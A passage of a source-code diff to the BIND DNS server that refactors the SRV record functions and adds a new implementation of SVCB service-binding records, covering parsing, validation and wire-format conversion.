 	REQUIRE(rdata->type == dns_rdatatype_srv);
 	REQUIRE(rdata->length != 0);
 
-	dns_compress_setmethods(cctx, DNS_COMPRESS_NONE);
+	dns_compress_setpermitted(cctx, false);
 	/*
 	 * Priority, weight, port.
 	 */
@@ -189,10 +192,10 @@ towire_in_srv(ARGS_TOWIRE) {
 	 */
 	dns_name_init(&name, offsets);
 	dns_name_fromregion(&name, &sr);
-	return (dns_name_towire(&name, cctx, target));
+	return (dns_name_towire(&name, cctx, target, NULL));
 }
 
-static inline int
+static int
 compare_in_srv(ARGS_COMPARE) {
 	dns_name_t name1;
 	dns_name_t name2;
@@ -233,7 +236,7 @@ compare_in_srv(ARGS_COMPARE) {
 	return (dns_name_rdatacompare(&name1, &name2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_in_srv(ARGS_FROMSTRUCT) {
 	dns_rdata_in_srv_t *srv = source;
 	isc_region_t region;
@@ -254,7 +257,7 @@ fromstruct_in_srv(ARGS_FROMSTRUCT) {
 	return (isc_buffer_copyregion(target, &region));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_in_srv(ARGS_TOSTRUCT) {
 	isc_region_t region;
 	dns_rdata_in_srv_t *srv = target;
@@ -279,12 +282,12 @@ tostruct_in_srv(ARGS_TOSTRUCT) {
 	isc_region_consume(&region, 2);
 	dns_name_fromregion(&name, &region);
 	dns_name_init(&srv->target, NULL);
-	RETERR(name_duporclone(&name, mctx, &srv->target));
+	name_duporclone(&name, mctx, &srv->target);
 	srv->mctx = mctx;
 	return (ISC_R_SUCCESS);
 }
 
-static inline void
+static void
 freestruct_in_srv(ARGS_FREESTRUCT) {
 	dns_rdata_in_srv_t *srv = source;
 
@@ -300,7 +303,7 @@ freestruct_in_srv(ARGS_FREESTRUCT) {
 	srv->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_in_srv(ARGS_ADDLDATA) {
 	char buf[sizeof("_65000._tcp")];
 	dns_fixedname_t fixed;
@@ -313,6 +316,8 @@ additionaldata_in_srv(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_srv);
 	REQUIRE(rdata->rdclass == dns_rdataclass_in);
 
+	UNUSED(owner);
+
 	dns_name_init(&name, offsets);
 	dns_rdata_toregion(rdata, &region);
 	isc_region_consume(&region, 4);
@@ -324,15 +329,15 @@ additionaldata_in_srv(ARGS_ADDLDATA) {
 		return (ISC_R_SUCCESS);
 	}
 
-	result = (add)(arg, &name, dns_rdatatype_a);
+	result = (add)(arg, &name, dns_rdatatype_a, NULL DNS__DB_FILELINE);
 	if (result != ISC_R_SUCCESS) {
 		return (result);
 	}
 
 	dns_fixedname_init(&fixed);
 	snprintf(buf, sizeof(buf), "_%u._tcp", port);
-	result = dns_name_fromstring2(dns_fixedname_name(&fixed), buf, NULL, 0,
-				      NULL);
+	result = dns_name_fromstring(dns_fixedname_name(&fixed), buf, NULL, 0,
+				     NULL);
 	if (result != ISC_R_SUCCESS) {
 		return (ISC_R_SUCCESS);
 	}
@@ -343,10 +348,11 @@ additionaldata_in_srv(ARGS_ADDLDATA) {
 		return (ISC_R_SUCCESS);
 	}
 
-	return ((add)(arg, dns_fixedname_name(&fixed), dns_rdatatype_tlsa));
+	return ((add)(arg, dns_fixedname_name(&fixed), dns_rdatatype_tlsa,
+		      NULL DNS__DB_FILELINE));
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_in_srv(ARGS_DIGEST) {
 	isc_region_t r1, r2;
 	dns_name_t name;
@@ -364,7 +370,7 @@ digest_in_srv(ARGS_DIGEST) {
 	return (dns_name_digest(&name, digest, arg));
 }
 
-static inline bool
+static bool
 checkowner_in_srv(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_srv);
 	REQUIRE(rdclass == dns_rdataclass_in);
@@ -377,7 +383,7 @@ checkowner_in_srv(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_in_srv(ARGS_CHECKNAMES) {
 	isc_region_t region;
 	dns_name_t name;
@@ -400,7 +406,7 @@ checknames_in_srv(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_in_srv(ARGS_COMPARE) {
 	return (compare_in_srv(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/in_1/srv_33.h b/lib/dns/rdata/in_1/srv_33.h
index 872d09b877..fbfa92c726 100644
--- a/lib/dns/rdata/in_1/srv_33.h
+++ b/lib/dns/rdata/in_1/srv_33.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef IN_1_SRV_33_H
-#define IN_1_SRV_33_H 1
+#pragma once
 
 /*!
  *  \brief Per RFC2782 */
@@ -23,5 +24,3 @@ typedef struct dns_rdata_in_srv {
 	uint16_t port;
 	dns_name_t target;
 } dns_rdata_in_srv_t;
-
-#endif /* IN_1_SRV_33_H */
diff --git a/lib/dns/rdata/in_1/svcb_64.c b/lib/dns/rdata/in_1/svcb_64.c
new file mode 100644
index 0000000000..2968149752
--- /dev/null
+++ b/lib/dns/rdata/in_1/svcb_64.c
@@ -0,0 +1,1334 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+/* draft-ietf-dnsop-svcb-https-02 */
+
+#ifndef RDATA_IN_1_SVCB_64_C
+#define RDATA_IN_1_SVCB_64_C
+
+#define RRTYPE_SVCB_ATTRIBUTES (DNS_RDATATYPEATTR_FOLLOWADDITIONAL)
+
+#define SVCB_MAN_KEY		 0
+#define SVCB_ALPN_KEY		 1
+#define SVCB_NO_DEFAULT_ALPN_KEY 2
+#define SVCB_DOHPATH_KEY	 7
+#define MAX_CNAMES		 16 /* See ns/query.c MAX_RESTARTS */
+
+/*
+ * Service Binding Parameter Registry
+ */
+enum encoding {
+	sbpr_text,
+	sbpr_port,
+	sbpr_ipv4s,
+	sbpr_ipv6s,
+	sbpr_base64,
+	sbpr_empty,
+	sbpr_alpn,
+	sbpr_keylist,
+	sbpr_dohpath
+};
+static const struct {
+	const char *name; /* Restricted to lowercase LDH by registry. */
+	unsigned int value;
+	enum encoding encoding;
+	bool initial; /* Part of the first defined set of encodings. */
+} sbpr[] = {
+	{ "mandatory", 0, sbpr_keylist, true },
+	{ "alpn", 1, sbpr_alpn, true },
+	{ "no-default-alpn", 2, sbpr_empty, true },
+	{ "port", 3, sbpr_port, true },
+	{ "ipv4hint", 4, sbpr_ipv4s, true },
+	{ "ech", 5, sbpr_base64, true },
+	{ "ipv6hint", 6, sbpr_ipv6s, true },
+	{ "dohpath", 7, sbpr_dohpath, false },
+};
+
+static isc_result_t
+alpn_fromtxt(isc_textregion_t *source, isc_buffer_t *target) {
+	isc_textregion_t source0 = *source;
+	do {
+		RETERR(commatxt_fromtext(&source0, true, target));
+	} while (source0.length != 0);
+	return (ISC_R_SUCCESS);
+}
+
+static int
+svckeycmp(const void *a1, const void *a2) {
+	const unsigned char *u1 = a1, *u2 = a2;
+	if (*u1 != *u2) {
+		return (*u1 - *u2);
+	}
+	return (*(++u1) - *(++u2));
+}
+
+static isc_result_t
+svcsortkeylist(isc_buffer_t *target, unsigned int used) {
+	isc_region_t region;
+
+	isc_buffer_usedregion(target, &region);
+	isc_region_consume(&region, used);
+	INSIST(region.length > 0U);
+	qsort(region.base, region.length / 2, 2, svckeycmp);
+	/* Reject duplicates. */
+	while (region.length >= 4) {
+		if (region.base[0] == region.base[2] &&
+		    region.base[1] == region.base[3])
+		{
+			return (DNS_R_SYNTAX);
+		}
+		isc_region_consume(&region, 2);
+	}
+	return (ISC_R_SUCCESS);
+}
+
+static isc_result_t
+svcb_validate(uint16_t key, isc_region_t *region) {
+	size_t i;
+
+	for (i = 0; i < ARRAY_SIZE(sbpr); i++) {
+		if (sbpr[i].value == key) {
+			switch (sbpr[i].encoding) {
+			case sbpr_port:
+				if (region->length != 2) {
+					return (DNS_R_FORMERR);
+				}
+				break;
+			case sbpr_ipv4s:
+				if ((region->length % 4) != 0 ||
+				    region->length == 0)
+				{
+					return (DNS_R_FORMERR);
+				}
+				break;
+			case sbpr_ipv6s:
+				if ((region->length % 16) != 0 ||
+				    region->length == 0)
+				{
+					return (DNS_R_FORMERR);
+				}
+				break;
+			case sbpr_alpn: {
+				if (region->length == 0) {
+					return (DNS_R_FORMERR);
+				}
+				while (region->length != 0) {
+					size_t l = *region->base + 1;
+					if (l == 1U || l > region->length) {
+						return (DNS_R_FORMERR);
+					}
+					isc_region_consume(region, l);
+				}
+				break;
+			}
+			case sbpr_keylist: {
+				if ((region->length % 2) != 0 ||
+				    region->length == 0)
+				{
+					return (DNS_R_FORMERR);
+				}
+				/* In order? */
+				while (region->length >= 4) {
+					if (region->base[0] > region->base[2] ||
+					    (region->base[0] ==
+						     region->base[2] &&
+					     region->base[1] >=
+						     region->base[3]))
+					{
+						return (DNS_R_FORMERR);
+					}
+					isc_region_consume(region, 2);
+				}
+				break;
+			}
+			case sbpr_text:
+			case sbpr_base64:
+				break;
+			case sbpr_dohpath:
+				/*
+				 * Minimum valid dohpath is "/{?dns}" as
+				 * it MUST be relative (leading "/") and
+				 * MUST contain "{?dns}".
+				 */
+				if (region->length < 7) {
+					return (DNS_R_FORMERR);
+				}
+				/* MUST be relative */
+				if (region->base[0] != '/') {
+					return (DNS_R_FORMERR);
+				}
+				/* MUST be UTF8 */
+				if (!isc_utf8_valid(region->base,
+						    region->length))
+				{
+					return (DNS_R_FORMERR);
+				}
+				/* MUST contain "{?dns}" */
+				if (strnstr((char *)region->base, "{?dns}",
+					    region->length) == NULL)
+				{
+					return (DNS_R_FORMERR);
+				}
+				break;
+			case sbpr_empty:
+				if (region->length != 0) {
+					return (DNS_R_FORMERR);
+				}
+				break;
+			}
+		}
+	}
+	return (ISC_R_SUCCESS);
+}
+
+/*
+ * Parse keyname from region.
+ */
+static isc_result_t
+svc_keyfromregion(isc_textregion_t *region, char sep, uint16_t *value,
+		  isc_buffer_t *target) {
+	char *e = NULL;
+	size_t i;
+	unsigned long ul;
+
+	/* Look for known key names.  */
+	for (i = 0; i < ARRAY_SIZE(sbpr); i++) {
+		size_t len = strlen(sbpr[i].name);
+		if (strncasecmp(region->base, sbpr[i].name, len) != 0 ||
+		    (region->base[len] != 0 && region->base[len] != sep))
+		{
+			continue;
+		}
+		isc_textregion_consume(region, len);
+		ul = sbpr[i].value;
+		goto finish;
+	}
+	/* Handle keyXXXXX form. */
+	if (strncmp(region->base, "key", 3) != 0) {
+		return (DNS_R_SYNTAX);
+	}
+	isc_textregion_consume(region, 3);
+	/* Disallow [+-]XXXXX which is allowed by strtoul. */
+	if (region->length == 0 || *region->base == '-' || *region->base == '+')
+	{
+		return (DNS_R_SYNTAX);
+	}
+	/* No zero padding. */
+	if (region->length > 1 && *region->base == '0' &&
+	    region->base[1] != sep)
+	{
+		return (DNS_R_SYNTAX);
+	}
+	ul = strtoul(region->base, &e, 10);
+	/* Valid number? */
+	if (e == region->base || (*e != sep && *e != 0)) {
+		return (DNS_R_SYNTAX);
+	}
+	if (ul > 0xffff) {
+		return (ISC_R_RANGE);
+	}
+	isc_textregion_consume(region, e - region->base);
+finish:
+	if (sep == ',' && region->length == 1) {
+		return (DNS_R_SYNTAX);
+	}
+	/* Consume separator. */
+	if (region->length != 0) {
+		isc_textregion_consume(region, 1);
+	}
+	RETERR(uint16_tobuffer(ul, target));
+	SET_IF_NOT_NULL(value, ul);
+	return (ISC_R_SUCCESS);
+}
+
+static isc_result_t
+svc_fromtext(isc_textregion_t *region, isc_buffer_t *target) {
+	char *e = NULL;
+	char abuf[16];
+	char tbuf[sizeof("aaaa:aaaa:aaaa:aaaa:aaaa:aaaa:255.255.255.255,")];
+	isc_buffer_t sb;
+	isc_region_t keyregion;
+	size_t len;
+	uint16_t key;
+	unsigned int i;
+	unsigned int used;
+	unsigned long ul;
+
+	for (i = 0; i < ARRAY_SIZE(sbpr); i++) {
+		len = strlen(sbpr[i].name);
+		if (strncmp(region->base, sbpr[i].name, len) != 0 ||
+		    (region->base[len] != 0 && region->base[len] != '='))
+		{
+			continue;
+		}
+
+		if (region->base[len] == '=') {
+			len++;
+		}
+
+		RETERR(uint16_tobuffer(sbpr[i].value, target));
+		isc_textregion_consume(region, len);
+
+		sb = *target;
+		RETERR(uint16_tobuffer(0, target)); /* length */
+
+		switch (sbpr[i].encoding) {
+		case sbpr_text:
+		case sbpr_dohpath:
+			RETERR(multitxt_fromtext(region, target));
+			break;
+		case sbpr_alpn:
+			RETERR(alpn_fromtxt(region, target));
+			break;
+		case sbpr_port:
+			if (!isdigit((unsigned char)*region->base)) {
+				return (DNS_R_SYNTAX);
+			}
+			ul = strtoul(region->base, &e, 10);
+			if (*e != '\0') {
+				return (DNS_R_SYNTAX);
+			}
+			if (ul > 0xffff) {
+				return (ISC_R_RANGE);
+			}
+			RETERR(uint16_tobuffer(ul, target));
+			break;
+		case sbpr_ipv4s:
+			do {
+				snprintf(tbuf, sizeof(tbuf), "%*s",
+					 (int)(region->length), region->base);
+				e = strchr(tbuf, ',');
+				if (e != NULL) {
+					*e++ = 0;
+					isc_textregion_consume(region,
+							       e - tbuf);
+				}
+				if (inet_pton(AF_INET, tbuf, abuf) != 1) {
+					return (DNS_R_SYNTAX);
+				}
+				mem_tobuffer(target, abuf, 4);
+			} while (e != NULL);
+			break;
+		case sbpr_ipv6s:
+			do {
+				snprintf(tbuf, sizeof(tbuf), "%*s",
+					 (int)(region->length), region->base);
+				e = strchr(tbuf, ',');
+				if (e != NULL) {
+					*e++ = 0;
+					isc_textregion_consume(region,
+							       e - tbuf);
+				}
+				if (inet_pton(AF_INET6, tbuf, abuf) != 1) {
+					return (DNS_R_SYNTAX);
+				}
+				mem_tobuffer(target, abuf, 16);
+			} while (e != NULL);
+			break;
+		case sbpr_base64:
+			RETERR(isc_base64_decodestring(region->base, target));
+			break;
+		case sbpr_empty:
+			if (region->length != 0) {
+				return (DNS_R_SYNTAX);
+			}
+			break;
+		case sbpr_keylist:
+			if (region->length == 0) {
+				return (DNS_R_SYNTAX);
+			}
+			used = isc_buffer_usedlength(target);
+			while (region->length != 0) {
+				RETERR(svc_keyfromregion(region, ',', NULL,
+							 target));
+			}
+			RETERR(svcsortkeylist(target, used));
+			break;
+		default:
+			UNREACHABLE();
+		}
+
+		len = isc_buffer_usedlength(target) -
+		      isc_buffer_usedlength(&sb) - 2;
+		RETERR(uint16_tobuffer(len, &sb)); /* length */
+		switch (sbpr[i].encoding) {
+		case sbpr_dohpath:
+			/*
+			 * Apply constraints not applied by multitxt_fromtext.
+			 */
+			keyregion.base = isc_buffer_used(&sb);
+			keyregion.length = isc_buffer_usedlength(target) -
+					   isc_buffer_usedlength(&sb);
+			RETERR(svcb_validate(sbpr[i].value, &keyregion));
+			break;
+		default:
+			break;
+		}
+		return (ISC_R_SUCCESS);
+	}
+
+	RETERR(svc_keyfromregion(region, '=', &key, target));
+	if (region->length == 0) {
+		RETERR(uint16_tobuffer(0, target)); /* length */
+		/* Sanity check keyXXXXX form. */
+		keyregion.base = isc_buffer_used(target);
+		keyregion.length = 0;
+		return (svcb_validate(key, &keyregion));
+	}
+	sb = *target;
+	RETERR(uint16_tobuffer(0, target)); /* dummy length */
+	RETERR(multitxt_fromtext(region, target));
+	len = isc_buffer_usedlength(target) - isc_buffer_usedlength(&sb) - 2;
+	RETERR(uint16_tobuffer(len, &sb)); /* length */
+	/* Sanity check keyXXXXX form. */
+	keyregion.base = isc_buffer_used(&sb);
+	keyregion.length = len;
+	return (svcb_validate(key, &keyregion));
+}
+
+static const char *
+svcparamkey(unsigned short value, enum encoding *encoding, char *buf,
+	    size_t len) {
+	size_t i;
+	int n;
+
+	for (i = 0; i < ARRAY_SIZE(sbpr); i++) {
+		if (sbpr[i].value == value && sbpr[i].initial) {
+			*encoding = sbpr[i].encoding;
+			return (sbpr[i].name);
+		}
+	}
+	n = snprintf(buf, len, "key%u", value);
+	INSIST(n > 0 && (unsigned int)n < len);
+	*encoding = sbpr_text;
+	return (buf);
+}
+
+static isc_result_t
+svcsortkeys(isc_buffer_t *target, unsigned int used) {
+	isc_region_t r1, r2, man = { .base = NULL, .length = 0 };
+	unsigned char buf[1024];
+	uint16_t mankey = 0;
+	bool have_alpn = false;
+
+	if (isc_buffer_usedlength(target) == used) {
+		return (ISC_R_SUCCESS);
+	}
+
+	/*
+	 * Get the parameters into r1.
+	 */
+	isc_buffer_usedregion(target, &r1);
+	isc_region_consume(&r1, used);
+
+	while (1) {
+		uint16_t key1, len1, key2, len2;
+		unsigned char *base1, *base2;
+
+		r2 = r1;
+
+		/*
+		 * Get the first parameter.
+		 */
+		base1 = r1.base;
+		key1 = uint16_fromregion(&r1);
+		isc_region_consume(&r1, 2);
+		len1 = uint16_fromregion(&r1);
+		isc_region_consume(&r1, 2);
+		isc_region_consume(&r1, len1);
+
+		/*
+		 * Was there only one key left?
+		 */
+		if (r1.length == 0) {
+			if (mankey != 0) {
+				/* Is this the last mandatory key? */
+				if (key1 != mankey || man.length != 0) {
+					return (DNS_R_INCONSISTENTRR);
+				}
+			} else if (key1 == SVCB_MAN_KEY) {
+				/* Lone mandatory field. */
+				return (DNS_R_DISALLOWED);
+			} else if (key1 == SVCB_NO_DEFAULT_ALPN_KEY &&
+				   !have_alpn)
+			{
+				/* Missing required ALPN field. */
+				return (DNS_R_DISALLOWED);
+			}
+			return (ISC_R_SUCCESS);
+		}
+
+		/*
+		 * Find the smallest parameter.
+		 */
+		while (r1.length != 0) {
+			base2 = r1.base;
+			key2 = uint16_fromregion(&r1);
+			isc_region_consume(&r1, 2);
+			len2 = uint16_fromregion(&r1);
+			isc_region_consume(&r1, 2);
+			isc_region_consume(&r1, len2);
+			if (key2 == key1) {
+				return (DNS_R_DUPLICATE);
+			}
+			if (key2 < key1) {
+				base1 = base2;
+				key1 = key2;
+				len1 = len2;
+			}
+		}
+
+		/*
+		 * Do we need to move the smallest parameter to the start?
+		 */
+		if (base1 != r2.base) {
+			size_t offset = 0;
+			size_t bytes = len1 + 4;
+			size_t length = base1 - r2.base;
+
+			/*
+			 * Move the smallest parameter to the start.
+			 */
+			while (bytes > 0) {
+				size_t count;
+
+				if (bytes > sizeof(buf)) {
+					count = sizeof(buf);
+				} else {
+					count = bytes;
+				}
+				memmove(buf, base1, count);
+				memmove(r2.base + offset + count,
+					r2.base + offset, length);
+				memmove(r2.base + offset, buf, count);
+				base1 += count;
+				bytes -= count;
+				offset += count;
+			}
+		}
+
+		/*
+		 * Check ALPN is present when NO-DEFAULT-ALPN is set.
+		 */
+		if (key1 == SVCB_ALPN_KEY) {
+			have_alpn = true;
+		} else if (key1 == SVCB_NO_DEFAULT_ALPN_KEY && !have_alpn) {
+			/* Missing required ALPN field. */
+			return (DNS_R_DISALLOWED);
+		}
+
+		/*
+		 * Check key against mandatory key list.
+		 */
+		if (mankey != 0) {
+			if (key1 > mankey) {
+				return (DNS_R_INCONSISTENTRR);
+			}
+			if (key1 == mankey) {
+				if (man.length >= 2) {
+					mankey = uint16_fromregion(&man);
+					isc_region_consume(&man, 2);
+				} else {
+					mankey = 0;
+				}
+			}
+		}
+
+		/*
+		 * Is this the mandatory key?
+		 */
+		if (key1 == SVCB_MAN_KEY) {
+			man = r2;
+			man.length = len1 + 4;
+			isc_region_consume(&man, 4);
+			if (man.length >= 2) {
+				mankey = uint16_fromregion(&man);
+				isc_region_consume(&man, 2);
+				if (mankey == SVCB_MAN_KEY) {
+					return (DNS_R_DISALLOWED);
+				}
+			} else {
+				return (DNS_R_SYNTAX);
+			}
+		}
+
+		/*
+		 * Consume the smallest parameter.
+		 */
+		isc_region_consume(&r2, len1 + 4);
+		r1 = r2;
+	}
+}
+
+static isc_result_t
+generic_fromtext_in_svcb(ARGS_FROMTEXT) {
+	isc_token_t token;
+	dns_name_t name;
+	isc_buffer_t buffer;
+	bool alias;
+	bool ok = true;
+	unsigned int used;
+
+	UNUSED(type);
+	UNUSED(rdclass);
+	UNUSED(callbacks);
+
+	/*
+	 * SvcPriority.
+	 */
+	RETERR(isc_lex_getmastertoken(lexer, &token, isc_tokentype_number,
+				      false));
+	if (token.value.as_ulong > 0xffffU) {
+		RETTOK(ISC_R_RANGE);
+	}
+	RETERR(uint16_tobuffer(token.value.as_ulong, target));
+
+	alias = token.value.as_ulong == 0;
+
+	/*
+	 * TargetName.
+	 */
+	RETERR(isc_lex_getmastertoken(lexer, &token, isc_tokentype_qstring,
+				      false));
+	dns_name_init(&name, NULL);
+	buffer_fromregion(&buffer, &token.value.as_region);
+	if (origin == NULL) {
+		origin = dns_rootname;
+	}
+	RETTOK(dns_name_fromtext(&name, &buffer, origin, options, target));
+	if (!alias && (options & DNS_RDATA_CHECKNAMES) != 0) {
+		ok = dns_name_ishostname(&name, false);
+	}
+	if (!ok && (options & DNS_RDATA_CHECKNAMESFAIL) != 0) {
+		RETTOK(DNS_R_BADNAME);
+	}
+	if (!ok && callbacks != NULL) {
+		warn_badname(&name, lexer, callbacks);
+	}
+
+	if (alias) {
+		return (ISC_R_SUCCESS);
+	}
+
+	/*
+	 * SvcParams
+	 */
+	used = isc_buffer_usedlength(target);
+	while (1) {
+		RETERR(isc_lex_getmastertoken(lexer, &token,
+					      isc_tokentype_qvpair, true));
+		if (token.type == isc_tokentype_eol ||
+		    token.type == isc_tokentype_eof)
+		{
+			isc_lex_ungettoken(lexer, &token);
+			return (svcsortkeys(target, used));
+		}
+
+		if (token.type != isc_tokentype_string && /* key only */
+		    token.type != isc_tokentype_qvpair &&
+		    token.type != isc_tokentype_vpair)
+		{
+			RETTOK(DNS_R_SYNTAX);
+		}
+		RETTOK(svc_fromtext(&token.value.as_textregion, target));
+	}
+}
+
+static isc_result_t
+fromtext_in_svcb(ARGS_FROMTEXT) {
+	REQUIRE(type == dns_rdatatype_svcb);
+	REQUIRE(rdclass == dns_rdataclass_in);
+	UNUSED(type);
+	UNUSED(rdclass);
+	UNUSED(callbacks);
+
+	return (generic_fromtext_in_svcb(CALL_FROMTEXT));
+}
+
+static isc_result_t
+generic_totext_in_svcb(ARGS_TOTEXT) {
+	isc_region_t region;
+	dns_name_t name;
+	dns_name_t prefix;
+	unsigned int opts;
+	char buf[sizeof("xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:255.255.255.255")];
+	unsigned short num;
+	int n;
+
+	REQUIRE(rdata->length != 0);
+
+	dns_name_init(&name, NULL);
+	dns_name_init(&prefix, NULL);
+
+	dns_rdata_toregion(rdata, &region);
+
+	/*
+	 * SvcPriority.
+	 */
+	num = uint16_fromregion(&region);
+	isc_region_consume(&region, 2);
+	n = snprintf(buf, sizeof(buf), "%u ", num);
+	INSIST(n > 0 && (unsigned int)n < sizeof(buf));
+	RETERR(str_totext(buf, target));
+
+	/*
+	 * TargetName.
+	 */
+	dns_name_fromregion(&name, &region);
+	isc_region_consume(&region, name_length(&name));
+	opts = name_prefix(&name, tctx->origin, &prefix) ? DNS_NAME_OMITFINALDOT
+							 : 0;
+	RETERR(dns_name_totext(&prefix, opts, target));
+
+	while (region.length > 0) {
+		isc_region_t r;
+		enum encoding encoding;
+
+		RETERR(str_totext(" ", target));
+
+		INSIST(region.length >= 2);
+		num = uint16_fromregion(&region);
+		isc_region_consume(&region, 2);
+		RETERR(str_totext(svcparamkey(num, &encoding, buf, sizeof(buf)),
+				  target));
+
+		INSIST(region.length >= 2);
+		num = uint16_fromregion(&region);
+		isc_region_consume(&region, 2);
+
+		INSIST(region.length >= num);
+		r = region;
+		r.length = num;
+		isc_region_consume(&region, num);
+		if (num == 0) {
+			continue;
+		}
+		if (encoding != sbpr_empty) {
+			RETERR(str_totext("=", target));
+		}
+		switch (encoding) {
+		case sbpr_text:
+			RETERR(multitxt_totext(&r, target));
+			break;
+		case sbpr_port:
+			num = uint16_fromregion(&r);
+			isc_region_consume(&r, 2);
+			n = snprintf(buf, sizeof(buf), "%u", num);
+			INSIST(n > 0 && (unsigned int)n < sizeof(buf));
+			RETERR(str_totext(buf, target));
+			INSIST(r.length == 0U);
+			break;
+		case sbpr_ipv4s:
+			while (r.length > 0U) {
+				INSIST(r.length >= 4U);
+				inet_ntop(AF_INET, r.base, buf, sizeof(buf));
+				RETERR(str_totext(buf, target));
+				isc_region_consume(&r, 4);
+				if (r.length != 0U) {
+					RETERR(str_totext(",", target));
+				}
+			}
+			break;
+		case sbpr_ipv6s:
+			while (r.length > 0U) {
+				INSIST(r.length >= 16U);
+				inet_ntop(AF_INET6, r.base, buf, sizeof(buf));
+				RETERR(str_totext(buf, target));
+				isc_region_consume(&r, 16);
+				if (r.length != 0U) {
+					RETERR(str_totext(",", target));
+				}
+			}
+			break;
+		case sbpr_base64:
+			RETERR(isc_base64_totext(&r, 0, "", target));
+			break;
+		case sbpr_alpn:
+			INSIST(r.length != 0U);
+			RETERR(str_totext("\"", target));
+			while (r.length != 0) {
+				commatxt_totext(&r, false, true, target);
+				if (r.length != 0) {
+					RETERR(str_totext(",", target));
+				}
+			}
+			RETERR(str_totext("\"", target));
+			break;
+		case sbpr_empty:
+			INSIST(r.length == 0U);
+			break;
+		case sbpr_keylist:
+			while (r.length > 0) {
+				num = uint16_fromregion(&r);
+				isc_region_consume(&r, 2);
+				RETERR(str_totext(svcparamkey(num, &encoding,
+							      buf, sizeof(buf)),
+						  target));
+				if (r.length != 0) {
+					RETERR(str_totext(",", target));
+				}
+			}
+			break;
+		default:
+			UNREACHABLE();
+		}
+	}
+	return (ISC_R_SUCCESS);
+}
+
+static isc_result_t
+totext_in_svcb(ARGS_TOTEXT) {
+	REQUIRE(rdata->type == dns_rdatatype_svcb);
+	REQUIRE(rdata->rdclass == dns_rdataclass_in);
+	REQUIRE(rdata->length != 0);
+
+	return (generic_totext_in_svcb(CALL_TOTEXT));
+}
+
+static isc_result_t
+generic_fromwire_in_svcb(ARGS_FROMWIRE) {
+	dns_name_t name;
+	isc_region_t region, man = { .base = NULL, .length = 0 };
+	bool alias, first = true, have_alpn = false;
+	uint16_t lastkey = 0, mankey = 0;
+
+	UNUSED(type);
+	UNUSED(rdclass);
+
+	dctx = dns_decompress_setpermitted(dctx, false);
+
+	dns_name_init(&name, NULL);
+
+	/*
+	 * SvcPriority.
+	 */
+	isc_buffer_activeregion(source, &region);
+	if (region.length < 2) {
+		return (ISC_R_UNEXPECTEDEND);
+	}
+	RETERR(mem_tobuffer(target, region.base, 2));
+	alias = uint16_fromregion(&region) == 0;
+	isc_buffer_forward(source, 2);
+
+	/*
+	 * TargetName.
+	 */
+	RETERR(dns_name_fromwire(&name, source, dctx, target));
+
+	if (alias) {
+		return (ISC_R_SUCCESS);
+	}
+
+	/*
+	 * SvcParams.
+	 */
+	isc_buffer_activeregion(source, &region);
+	while (region.length > 0U) {
+		isc_region_t keyregion;
+		uint16_t key, len;
+
+		/*
+		 * SvcParamKey
+		 */
+		if (region.length < 2U) {
+			return (ISC_R_UNEXPECTEDEND);
+		}
+		RETERR(mem_tobuffer(target, region.base, 2));
+		key = uint16_fromregion(&region);
+		isc_region_consume(&region, 2);
+
+		/*
+		 * Keys must be unique and in order.
+		 */
+		if (!first && key <= lastkey) {
+			return (DNS_R_FORMERR);
+		}
+
+		/*
+		 * Check mandatory keys.
+		 */
+		if (mankey != 0) {
+			/* Missing mandatory key? */
+			if (key > mankey) {
+				return (DNS_R_FORMERR);
+			}
+			if (key == mankey) {
+				/* Get next mandatory key. */
+				if (man.length >= 2) {
+					mankey = uint16_fromregion(&man);
+					isc_region_consume(&man, 2);
+				} else {
+					mankey = 0;
+				}
+			}
+		}
+
+		/*
+		 * Check alpn present when no-default-alpn is set.
+		 */
+		if (key == SVCB_ALPN_KEY) {
+			have_alpn = true;
+		} else if (key == SVCB_NO_DEFAULT_ALPN_KEY && !have_alpn) {
+			return (DNS_R_FORMERR);
+		}
+
+		first = false;
+		lastkey = key;
+
+		/*
+		 * SvcParamValue length.
+		 */
+		if (region.length < 2U) {
+			return (ISC_R_UNEXPECTEDEND);
+		}
+		RETERR(mem_tobuffer(target, region.base, 2));
+		len = uint16_fromregion(&region);
+		isc_region_consume(&region, 2);
+
+		/*
+		 * SvcParamValue.
+		 */
+		if (region.length < len) {
+			return (ISC_R_UNEXPECTEDEND);
+		}
+
+		/*
+		 * Remember manatory key.
+		 */
+		if (key == SVCB_MAN_KEY) {
+			man = region;
+			man.length = len;
+			/* Get first mandatory key */
+			if (man.length >= 2) {
+				mankey = uint16_fromregion(&man);
+				isc_region_consume(&man, 2);
+				if (mankey == SVCB_MAN_KEY) {
+					return (DNS_R_FORMERR);
+				}
+			} else {
+				return (DNS_R_FORMERR);
+			}
+		}
+		keyregion = region;
+		keyregion.length = len;
+		RETERR(svcb_validate(key, &keyregion));
+		RETERR(mem_tobuffer(target, region.base, len));
+		isc_region_consume(&region, len);
+		isc_buffer_forward(source, len + 4);
+	}
+
+	/*
+	 * Do we have an outstanding mandatory key?
+	 */
+	if (mankey != 0) {
+		return (DNS_R_FORMERR);
+	}
+
+	return (ISC_R_SUCCESS);
+}
+
+static isc_result_t
